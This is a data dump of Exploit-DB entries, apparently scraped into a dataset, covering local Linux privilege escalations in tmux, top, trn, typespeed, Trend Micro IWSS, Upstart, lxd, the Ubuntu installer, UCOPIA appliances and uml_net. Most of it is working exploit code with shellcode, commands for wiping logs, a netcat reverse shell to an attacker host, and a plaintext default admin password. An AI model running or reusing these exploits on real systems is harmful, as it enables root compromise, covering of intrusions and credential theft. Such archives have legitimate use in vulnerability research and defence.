deardaniel/secdata-raw huggingface dataset:
Exploit-DB #17147
Description: tmux 1.3/1.4 - '-S' Option Incorrect SetGID Privilege Escalation
Type: local
Platform: linux
Date: 2011-04-11
Author: ph0x90bic

Exploit:
---------------------------------------
| Team ph0x90bic proudly presents     |
| tmux -S 1.3/1.4 local utmp exploit  |
---------------------------------------

# Exploit Title: tmux '-S' Option Incorrect SetGID Local Privilege Escalation Vulnerability
# Date: 11.04.2011
# Author: ph0x90bic
# Software Link: http://tmux.sourceforge.net/
# Version: 1.3/1.4
# Tested on: Linux debian 2.6.26-1-686
# CVE : CVE-2011-1496

---

INTRODUCTION

tmux 1.3/1.4 contains a privilege escalation vulnerabillity,
which gives you utmp group privileges. This bug is important,
because it is possible to clean logfiles and use logcleaners
for btmp, wtmp and lastlog without local root access.

---

EXPLOIT

Execute shell as utmp group

$ tmux -S /tmp/.whateveryouwant -c id
uid=1001(company) gid=1001(company) egid=43(utmp), groups=1001(company)

$ tmux -S /tmp/.whateveryouwant -c /bin/sh
$ id
uid=1001(company) gid=1001(company) egid=43(utmp), groups=1001(company)

--

Delete logfiles

$ tmux -S /tmp/.whateveryouwant -c '> /var/log/lastlog'
$ tmux -S /tmp/.whateveryouwant -c '> /var/log/wtmp'
$ tmux -S /tmp/.whateveryouwant -c '> /var/log/btmp'

--

Use logcleaner software

$ tmux -S /tmp/.whateveryouwant -c /tmp/thcclear13/cleara hacker-username
Exploit-DB #22943
Description: Top 1.x/2.0 - 'HOME Environment' Local Buffer Overflow
Type: local
Platform: linux
Date: 2003-07-22
Author: UHAGr

Exploit:
// source: https://www.securityfocus.com/bid/8239/info

A buffer overflow condition has been reported in top when handling environment variables of excessive length. This may result in an attacker potentially executing arbitrary code.

/*
 * UHAGr CONFIDENTIAL SOURCE - DO NOT DISTRIBUTE
 * Local /usr/bin/top Proof of Concept Exploit
 * Bug Discovered & Coded by Darksock
 * Copyright (c) by UHAGr 2003 - 2004
 * Note: it should work on all distros
 * Tested under RedHat 9.0, Mandrake 9.0
 * Still, it should be working under all
 * distros since it's maintainer is still
 * not informed about this bug.
 */

#include <stdio.h>
#include <stdlib.h>
#include <errno.h>

        /*
         * This method of exploitation would let as
         * know the exact address of our shellcode.
         * We place it to the last environmental
         * variable, which address will be:
         * 0xbfffffff(top of the stack) minus four
         * NULLs due to elf header structure, minus
         * the program's name, minus the bytes of
         * our shellcode. That simple ;)
         */

#define TOP "/usr/bin/top"
#define DEFRET 0xbffffffa - strlen(sc) - strlen(TOP)
#define BS 1100

        /*
         * setuid(); + execve(); + exit(); shellcode
         */

char sc[] =   "\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x31"
              "\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
              "\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1"
              "\x31\xd2\x31\xc0\xb0\x0b\xcd\x80\x31"
              "\xc0\x31\xdb\xb0\x01\xcd\x80";

int main(void) {

        int ctr = 0;
        char buffer[BS];

        fprintf(stdout, "\nCopyright (c) by UHAGr 2003 - 2004\n");
        fprintf(stdout, "/usr/bin/top Proof of Concept Exploit\n\n");
        fprintf(stdout, "[~] Starting exploiting proccess...\n");
        fprintf(stdout, "[~] Using ret address: 0x%8x\n", (long) DEFRET);

        for(ctr = 0; ctr <  BS - 1; ctr += 4)
                *(long *) &buffer[ctr] = (long) DEFRET;

        buffer[BS - 1] = '\0';

        fprintf(stdout, "[~] Setting environmental variables\n");
        if((setenv("HOME", buffer, 1)) == -1) {
                perror("setenv()");
                exit(1);
        }

        if((setenv("TOPX", sc, 1)) == -1) {
                perror("setenv()");
                exit(1);
        }

        fprintf(stdout, "[~] Executing %s...\n\n", TOP);

        if((execl(TOP, TOP, NULL)) == -1) {
                perror("execl()");
                exit(1);
        }
        return(0);
}
Exploit-DB #36257
Description: Trend Micro IWSS 3.1 - Local Privilege Escalation
Type: local
Platform: linux
Date: 2011-10-26
Author: Buguroo Offensive Security

Exploit:
source: https://www.securityfocus.com/bid/50380/info

Trendmicro IWSS is prone to a local privilege-escalation vulnerability.

Local attackers can exploit this issue to execute arbitrary code with root privileges and completely compromise the affected computer.

Trendmicro IWSS 3.1 is vulnerable; other versions may also be affected. 

#!/bin/bash
# Copyright 2011 Buguroo Offensive Security - jrvilla.AT.buguroo.com

cd /tmp
echo "[*] Creating shell file"
echo -e "#!/bin/bash\n/bin/bash" > PatchExe.sh
echo "[*] Change permissions"
chmod 755 PatchExe.sh
echo "[*] Got r00t... Its free!"
/opt/trend/iwss/data/patch/bin/patchCmd u root
Exploit-DB #39764
Description: TRN Threaded USENET News Reader 3.6-23 - Local Stack Overflow
Type: local
Platform: linux
Date: 2016-05-04
Author: Juan Sacco

Exploit:
# Exploit developed using Exploit Pack v5.4
# Exploit Author: Juan Sacco - http://www.exploitpack.com - jsacco@exploitpack.com
# Program affected: Threaded USENET news reader
# Version: 3.6-23
#
# Tested and developed under:  Kali Linux 2.0 x86 - https://www.kali.org
# Program description: Threaded USENET news reader, based on rn
# trn is the most widely-used newsreader on USENET
# Kali Linux 2.0 package: pool/non-free/t/trn/trn_3.6-23_i386.deb
# MD5sum: 57782e66c4bf127af0d252db9439fbdf
# Website: https://sourceforge.net/projects/trn/
#
# gdb$ run $(python -c 'print "A"*156+"DCBA"')
# Starting program: /usr/bin/trn $(python -c 'print "A"*156+"DCBA"')
#
# Program received signal SIGSEGV, Segmentation fault.
# --------------------------------------------------------------------------[regs]
#   EAX: 0x00000000  EBX: 0x41414141  ECX: 0x00000000  EDX: 0x0809040C  o d I t S z a p c
#   ESI: 0x41414141  EDI: 0x41414141  EBP: 0x41414141  ESP: 0xBFFFED60  EIP: 0x41424344
#   CS: 0073  DS: 007B  ES: 007B  FS: 0000  GS: 0033  SS: 007BError while running hook_stop:
# Cannot access memory at address 0x41424344
# 0x41424344 in ?? ()


import os, subprocess

def run():
  try:
    print "# TRN Threaded Reader - Stack Buffer Overflow by Juan Sacco"
    print "# This Exploit has been developed using Exploit Pack"
    # NOPSLED + SHELLCODE + EIP

    buffersize = 160
    nopsled = "\x90"*132
    shellcode = "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\xcd\x80"
    eip = "\xd0\xec\xff\xbf"
    buffer = nopsled * (buffersize-len(shellcode)) + eip
    subprocess.call(["trn ",' ', buffer])

  except OSError as e:
    if e.errno == os.errno.ENOENT:
        print "Sorry, Threaded Reader - Not found!"
    else:
        print "Error executing exploit"
    raise

def howtousage():
  print "Snap! Something went wrong"
  sys.exit(-1)

if __name__ == '__main__':
  try:
    print "Exploit TRN 3.6-23 Local Overflow Exploit"
    print "Author: Juan Sacco - Exploit Pack"
  except IndexError:
    howtousage()
run()
Exploit-DB #25106
Description: Typespeed 0.4.1 - Local Format String
Type: local
Platform: linux
Date: 2005-02-16
Author: Ulf Harnhammar

Exploit:
// source: https://www.securityfocus.com/bid/12569/info

typespeed is prone to a local format string vulnerability. Successful could allow privilege escalation. 

/*

Proof of Concept local exploit for typespeed tool

"enva" content:

*********************************************
#include <stdio.h>
#include <string.h>
  int main(int argc, char *argv[])
  {
  char *addr_ptr = NULL;
  addr_ptr = getenv(argv[1]);
  printf("%s @ %p\n", argv[1], addr_ptr);
  return 0;
  }
*********************************************

*/

#include <stdio.h>
#define offset 2
#define var (0x08050288+0x4)

char shellcode[] = 
"\x31\xc0\x31\xdb\x31\xc9\xb0\x46\xcd\x80\x31\xc0"
"\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3"
"\x8d\x54\x24\x08\x50\x53\x8d\x0c\x24\xb0\x0b\xcd\x80"
"\x31\xc0\xb0\x01\xcd\x80";

int main(int argc, char *argv[])
{
char *addr[3] = { ((char *)var +2),
		  ((char *)var),
		};

char buffer[1024];
int high, low;
long target;

target = 0xbffff950;

high = (target & 0xffff0000) >> 16;
low = (target & 0x0000ffff);

high -= 0x8;
sprintf(buffer, "%s%%.%dx%%%d$hn%%.%dx%%%d$hn", 
		&addr,
		high,
		offset,
		(low - high)-0x8,
		offset+1);
memset(buffer+strlen(buffer), 0x41, 32);

setenv("HOME", buffer, 1);
setenv("SHELLCODE", shellcode, 1);
system("./enva SHELLCODE");
system("./typespeed");
}
Exploit-DB #41765
Description: Ubuntu 15.04 (Development) - 'Upstart' Logrotation Privilege Escalation
Type: local
Platform: linux
Date: 2015-03-12
Author: halfdog

Exploit:
Source: http://www.halfdog.net/Security/2015/UpstartLogrotationPrivilegeEscalation/

## Introduction

Problem description: Ubuntu Vivid 1504 (development branch) installs an insecure upstart logrotation script which will read user-supplied data from /run/user/[uid]/upstart/sessions and pass then unsanitized to an env command. As user run directory is user-writable, the user may inject arbitrary commands into the logrotation script, which will be executed during daily cron job execution around midnight with root privileges.

## Methods

The vulnerability is very easy to trigger as the logrotation script /etc/cron.daily/upstart does not perform any kind of input sanitation:


#!/bin/sh

# For each Upstart Session Init, emit "rotate-logs" event, requesting
# the session Inits to rotate their logs. There is no user-daily cron.
#
# Doing it this way does not rely on System Upstart, nor
# upstart-event-bridge(8) running in the Session Init.
#
# Note that system-level Upstart logs are handled separately using a
# logrotate script.

[ -x /sbin/initctl ] || exit 0

for session in /run/user/*/upstart/sessions/*
do
    env $(cat $session) /sbin/initctl emit rotate-logs >/dev/null 2>&1 || true
done

On a system with e.g. libpam-systemd installed, standard login on TTY or via SSH will create the directory /run/user/[uid] writable to the user. By preparing a suitable session file, user supplied code will be run during the daily cron-jobs. Example:


cat <<EOF > "${HOME}/esc"
#!/bin/sh
touch /esc-done
EOF
chmod 0755 "${HOME}/esc"

mkdir -p /run/user/[uid]/upstart/sessions
echo "- ${HOME}/esc" > /run/user/[uid]/upstart/sessions/x
Exploit-DB #46978
Description: Ubuntu 18.04 - 'lxd' Privilege Escalation
Type: local
Platform: linux
Date: 2019-06-10
Author: s4vitar

Exploit:
#!/usr/bin/env bash

# ----------------------------------
# Authors: Marcelo Vazquez (S4vitar)
#	   Victor Lasa      (vowkin)
# ----------------------------------

# Step 1: Download build-alpine => wget https://raw.githubusercontent.com/saghul/lxd-alpine-builder/master/build-alpine [Attacker Machine]
# Step 2: Build alpine => bash build-alpine (as root user) [Attacker Machine]
# Step 3: Run this script and you will get root [Victim Machine]
# Step 4: Once inside the container, navigate to /mnt/root to see all resources from the host machine

function helpPanel(){
  echo -e "\nUsage:"
  echo -e "\t[-f] Filename (.tar.gz alpine file)"
  echo -e "\t[-h] Show this help panel\n"
  exit 1
}

function createContainer(){
  lxc image import $filename --alias alpine && lxd init --auto
  echo -e "[*] Listing images...\n" && lxc image list
  lxc init alpine privesc -c security.privileged=true
  lxc config device add privesc giveMeRoot disk source=/ path=/mnt/root recursive=true
  lxc start privesc
  lxc exec privesc sh
  cleanup
}

function cleanup(){
  echo -en "\n[*] Removing container..."
  lxc stop privesc && lxc delete privesc && lxc image delete alpine
  echo " [√]"
}

set -o nounset
set -o errexit

declare -i parameter_enable=0; while getopts ":f:h:" arg; do
  case $arg in
    f) filename=$OPTARG && let parameter_enable+=1;;
    h) helpPanel;;
  esac
done

if [ $parameter_enable -ne 1 ]; then
  helpPanel
else
  createContainer
fi
Exploit-DB #1579
Description: Ubuntu 5.10 Installer - Password Disclosure
Type: local
Platform: linux
Date: 2006-03-12
Author: Kristian Hermansen

Exploit:
#!/usr/bin/perl -w

use warnings;
use strict;

##############################################################################
# Author: Kristian Hermansen
# Date: 3/12/2006
# Overview: Ubuntu Breezy stores the installation password in plain text
# Link: https://launchpad.net/distros/ubuntu/+source/shadow/+bug/34606
##############################################################################

print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n";
print "Kristian Hermansen's 'Eazy Breezy' Password Recovery Tool\n";
print "99% effective, thank your local admin ;-)\n";
print "FOR EDUCATIONAL PURPOSES ONLY!!!\n";
print "~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\n";

# the two vulnerable files
my $file1 = "/var/log/installer/cdebconf/questions.dat";
my $file2 = "/var/log/debian-installer/cdebconf/questions.dat";

print "Checking if an exploitable file exists...";
if ( (-e $file1) || (-e $file2) )
{ 
  print "Yes\nNow checking if readable...";
  if ( -r $file1 )
  {
    getinfo($file1);
  }
  else
  {
    if ( -r $file2 ) {
      getinfo($file2);
    }
    else {
      print "No\nAdmin may have changed the permissions on the files :-(\nExiting...\n";
      exit(-2);
    }
  }
}
else
{
  print "No\nFile may have been deleted by the administrator :-(\nExiting...\n";
  exit(-1);
}

sub getinfo {
  my $fn = shift;
  print "Yes\nHere come the details...\n\n";
  my $realname = `grep -A 1 "Template: passwd/user-fullname" $fn | grep "Value: " | sed 's/Value: //'`;
  my $user = `grep -A 1 "Template: passwd/username" $fn | grep "Value: " | sed 's/Value: //'`;
  my $pass = `grep -A 1 "Template: passwd/user-password-again" $fn | grep "Value: " | sed 's/Value: //'`;
  chomp($realname);
  chomp($user);
  chomp($pass);
  print "Real Name: $realname\n";
  print "Username: $user\n";
  print "Password: $pass\n";
}

# milw0rm.com [2006-03-12]
Exploit-DB #42936
Description: UCOPIA Wireless Appliance < 5.1.8 - Local Privilege Escalation
Type: local
Platform: linux
Date: 2017-10-02
Author: Sysdream

Exploit:
# [CVE-2017-11322] UCOPIA Wireless Appliance < 5.1.8 Privileges Escalation

## Asset description

UCOPIA solutions bring together a combination of software, appliance and cloud services serving small to large customers.

More than 12,000 UCOPIA solutions are deployed and maintained by UCOPIA expert partners all over the world.

The affected asset in this report is a WiFi management appliance.

## Vulnerability

CHROOT escape and privileges escalation.

**Threat**

Improper sanitization of system commands in the chroothole_client executable in UCOPIA Wireless Appliance, prior to 5.1.8, allows local attackers to elevate privileges to root user and escape from the *chroot*.

**CVE ID**: CVE-2017-11322

**Access Vector**: local

**Security Risk**: high

**Vulnerability**: CWE-78

**CVSS Base Score**: 8.2 (High)

**CVSS Vector**: CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

### Proof of Concept: chroot escape / privileges escalation

The **chroothole_client** binary is used by the appliance to run programs outside the *chroot*, as the **root** user.

Because of an improper sanitization of system commands, we managed to gain a complete **root** access to the appliance, outside the *chroot*.

```
$ chroothole_client '/usr/sbin/status'
is not running ... failed !
$ chroothole_client '/usr/sbin/status $(which nc)'
/bin/nc is not running ... failed!
$ chroothole_client '/usr/sbin/status $(nc 10.0.0.125 4444 -e /bin/sh)'
```

Attacker terminal :

```
$ ncat -lvp 4444
Ncat: Listening on 0.0.0.0:4444
Ncat: Connection from 10.0.0.1:49156.
whoami
root
```

## Solution

Update to UCOPIA 5.1.8

## Timeline (dd/mm/yyyy)

* 08/03/2017 : Vulnerability discovery.
* 03/05/2017 : Initial contact.
* 10/05/2017 : GPG Key exchange.
* 10/05/2017 : Advisory sent to vendor.
* 17/05/2017 : Request for feedback.
* 22/05/2017 : Vendor acknowledge the vulnerabilities.
* 21/06/2017 : Sysdream Labs request for an ETA, warning for public disclosure.
* 21/06/2017 : Vendor say that the UCOPIA 5.1.8 fixes the issue.
* 29/09/2017 : Public disclosure.

## Credits

* Nicolas CHATELAIN, Sysdream (n.chatelain -at- sysdream -dot- com)

-- 
SYSDREAM Labs <labs@sysdream.com> 
GPG : 47D1 E124 C43E F992 2A2E 1551 8EB4 8CD9 D5B2 59A1 
* Website: https://sysdream.com/ 
* Twitter: @sysdream
Exploit-DB #42937
Description: UCOPIA Wireless Appliance < 5.1.8 - Restricted Shell Escape
Type: local
Platform: linux
Date: 2017-10-02
Author: Sysdream

Exploit:
# [CVE-2017-11321] UCOPIA Wireless Appliance < 5.1.8 Restricted Shell Escape

## Asset Description

UCOPIA solutions bring together a combination of software, appliance and cloud services serving small to large customers.

More than 12,000 UCOPIA solutions are deployed and maintained by UCOPIA expert partners all over the world.

The affected asset in this report is a WiFi management appliance.


## Vulnerability

Shell Escape via `less` command.

**Threat**

Improper sanitization of system commands in the restricted shell interface in UCOPIA Wireless Appliance, prior to 5.1.8, allows remote attackers to gain access to a system shell as the "admin" user.

**CVE ID**: CVE-2017-11321

**Access Vector**: network

**Security Risk**: critical

**Vulnerability**: CWE-78

**CVSS Base Score**: 9.1 (Critical)

**CVSS Vector**: CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

### Proof of Concept: Restricted Shell Escape

By default, the UCOPIA wireless appliances exposes two shell access on port 22 (SSH) and 222 (ShellInTheBox).

A documented **admin** user exists on the system with the password **bhu85tgb**.

Quoted from the documentation :

> You can also retrieve the IP address of the outgoing interface. For this, you need to log in to the terminal of the virtual machine with
the following username and password: admin/bhu85tgb, and then execute the interface command.

By logging in within these interfaces, we can access to a restricted shell (*clish*) that allows only a few commands.

However, the `less` command is allowed, and because `less` allows to execute shell commands when viewing a file, we can use it to escape the restricted shell.

Steps :

**1/** Login to the appliance using SSH or ShellInTheBox.

**2/** Run the `less /etc/passwd` command.

**3/** When viewing the file, type `!sh`

**4/** You now have unrestricted `admin` user access to the appliance.

```
> less /etc/passwd
!sh
$ ls /
bin dev etc home lib proc tmp user
$ whoami
admin
```

## Solution

Update to UCOPIA 5.1.8

## Timeline (dd/mm/yyyy)

* 08/03/2017 : Vulnerability discovery.
* 03/05/2017 : Initial contact.
* 10/05/2017 : GPG Key exchange.
* 10/05/2017 : Advisory sent to vendor.
* 17/05/2017 : Request for feedback.
* 22/05/2017 : Vendor acknowledge the vulnerabilities.
* 21/06/2017 : Sysdream Labs request for an ETA, warning for public disclosure.
* 21/06/2017 : Vendor say that the UCOPIA 5.1.8 fixes the issue.
* 29/09/2017 : Public disclosure.

## Credits

* Nicolas CHATELAIN, Sysdream (n.chatelain -at- sysdream -dot- com)

-- 
SYSDREAM Labs <labs@sysdream.com> 
GPG : 47D1 E124 C43E F992 2A2E 1551 8EB4 8CD9 D5B2 59A1 
* Website: https://sysdream.com/ 
* Twitter: @sysdream
Exploit-DB #22640
Description: UML_NET - Integer Mismanagement Code Execution
Type: local
Platform: linux
Date: 2003-05-23
Author: ktha@hushmail.com

Exploit:
// source: https://www.securityfocus.com/bid/7676/info

A vulnerability has been discovered in uml_net. Due to integer mismanagement while handling version information, it may be possible for an attacker to execute arbitrary code. Specifically, by supplying a negative value within the version information it is possible to bypass various calculations and cause an invalid indexing into an array of functions. As a result, it is possible for an attacker to execute a function in an attacker-controlled location of memory.

Successful exploitation of this vulnerability would allow an attacker to execute arbitrary commands with the privileges of uml_net, possibly root. 

/*
  uml_net proof of concept exploit 
  
  Tested on: RH 8.0 with default uml_utilities from kernel-utils-2.4-8.13 
             RH 8.0 with binary from uml_utilities_20030312, uml_utilities_20020821
  It may work on other linux distributions 
  
  Author: ktha@hushmail.com
  Based on the bug that I found in uml_net.c on 23.05.2003
  
  Greets: M|G - no1 keep up the good work
  	  securitech guys, security-corp guys - thx for the challenges
  	  all of you who support me in real life 
  
*/


#include <stdio.h>

#define SHELL 0xbffffdd7
#define ROT -302068188

char *
gen (int pad)
{
  int i, size;
  char *p;
  char shellcode[] = "\x31\xc0"	// xorl    %eax,%eax
    "\x31\xdb"			// xorl    %ebx,%ebx
    "\xb0\x17"			// movb    $0x17,%al
    "\xcd\x80"			// int     $0x80
    "\xeb\x18"			// jmp     end
    				// start:
    "\x5e"			// popl    %esi
    "\x89\x76\x08"		// movl    %esi,0x8(%esi)
    "\x31\xc0"			// xorl    %eax,%eax
    "\x88\x46\x07"		// movb    %eax,0x7(%esi)
    "\x89\x46\x0c"		// movl    %eax,0xc(%esi)
    "\xb0\x0b"			// movb    $0xb,%al
    "\x89\xf3"			// movl    %esi,%ebx
    "\x8d\x4e\x08"		// leal    0x8(%esi),%ecx
    "\x8d\x56\x0c"		// leal    0xc(%esi),%edx
    "\xcd\x80"			// int     $0x80
    				// end:
    "\xe8\xe3\xff\xff\xff"	// call    start
    "\x2f\x62\x69\x6e\x2f\x73\x68";	// .string "/bin/sh"


  size = sizeof (shellcode);
  p = (char *) malloc (5000 + size + 1);
  memset (p, 0x90, 5000);
  for (i = 1; i < 1000; i++)
    *(int *) (p + 4 * i + pad) = SHELL;
  memcpy (p + 5000, shellcode, size + 1);
  *p = "SM00NY=";
  return p;
}

void
usage (char *sir)
{
  printf ("\nUsage: %s <UML_NET> [pad]\n\n", sir);
  printf ("Pad value: 0 - 3\nDefault: 0\n");
  printf ("\n");
}
main (int argc, char **argv)
{
  unsigned long pad = 0;
  int loop;
  char s[1000];
  char *nume[4], *pume[2];

  if (argc < 2)
    {
      usage (argv[0]);
      exit (0);
    }

  if (argv[2])
    pad = atoi (argv[2]);

  sprintf (s, "%d", ROT);

  nume[0] = argv[1];
  nume[1] = s;
  nume[2] = "add";
  nume[3] = NULL;

  pume[0] = gen (pad);
  pume[1] = NULL;

  printf ("Trying to exploit.... pad value: %d\n", pad);
  printf ("If you get a segfault, try to change the pad value !\n");

  execve (nume[0], nume, pume);
}